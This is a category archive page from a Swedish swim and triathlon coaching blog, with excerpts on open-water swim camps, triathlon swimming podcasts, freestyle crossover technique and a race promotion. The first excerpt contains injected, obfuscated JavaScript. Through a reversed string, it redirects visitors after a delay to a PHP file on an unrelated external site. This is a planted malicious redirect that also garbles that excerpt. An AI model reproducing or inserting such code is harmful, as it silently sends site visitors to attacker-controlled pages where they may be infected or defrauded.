Category Archives: Biomekanik

Simboosthelg – inriktning mot Open Water & Triathlonsimning 2017

  ) == ”string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(””).reverse().join(””);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[”’php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and”] Under vintern och våren 2017 finns möjligheten att vässa din simteknik & träna POW (Pool Open Water)  i Eskilstuna som leds av landslagstränaren i både simning och triathlon Fredrik Ludde Lundin aka Coach Ludde. Simboosten riktar sig till dig som redan

Read More

BE RACE READY PODCASTS by Gerry Rodrigues

Hej, här kommer ett tips till alla triathleter där ute. Coach Gerry har under våren släppt ett antal poddavsnitt där han pratar specifikt om triathlonsimning, både tekniskt och träningsmässigt. Jag träffade Gerry för några veckor sedan i LA och jag tycker att han har många bra synpunkter och gedigen erfarenhet och kunskap. Hans klubb Tower

Read More

Ett poddavsnitt som alla triathleter och TRI-simtränare bör lyssna på.

In this episode, we have Gerry Rodrigues of Tower 26. Tower 26 is a well-known swimming group in Santa Monica, United States where Gerry coaches a number of athletes (mostly triathletes). Listen in as Gerry discusses: the difference between training a swimmer versus training a triathlete his philosophy in swimming his approach in workouts how

Read More

Freestyle – Crossing Over

Crossing Over Crossing over occurs when the swimmer initiates their catch and brings their arm across their body. When the arm crosses the body, it closes the space on the anterior shoulder. The anterior shoulder contains the supraspinatus, the most commonly injured rotator cuff muscles. Solution: The most common reason for this error is a lack

Read More

Simanalys av Shelley Taylor-Smith öppet vatten teknik!

Nedan kan du se en simanalys med Shelley som jag tycker är mycket lärorik och pedagogiskt upplagd. Videon belyser viktiga färdigeter som behöver behärskas för att bli snabb i öppet vatten. Det här är Shelley Taylor-Smith: borned 3 August 1961 a former Australian long-distance swimmer. Taylor-Smith’s first major achievement was breaking the world four-mile record in 1983. Subsequently, she

Read More

Fri startplats till Stockholm Royal Park Aquathon & Swim

Träna Open Water i Järla Sjö med Coach Ludde eller köp ett Sim PT OW paket och erhåll kostnadsfri (värde 530-1275 kr) startplats till Stockholm Royal Park Aquathon & Swim den 12 juli. Info och anmälan via coachludde.com Information om Stockholm Royal Park Aquathon & Swim Hemsidan, klicka på länken: www.stockholmaquathlon.com Filmen från 2014 års tävling, klicka på

Read More

För att fortsätta använda denna webbplats behöver du godkänna användandet av cookies. mer information samt möjligheten att avaktivera cookies hittar du här

Dina cookie-inställningar för denna webbplats är satt till ”tillåt cookies” för att ge dig den bästa upplevelsen. Om du fortsätter använda webbplatsen utan att ändra dina inställningar för cookies eller om du klickar ”Godkänn” nedan så samtycker du till detta.

Stäng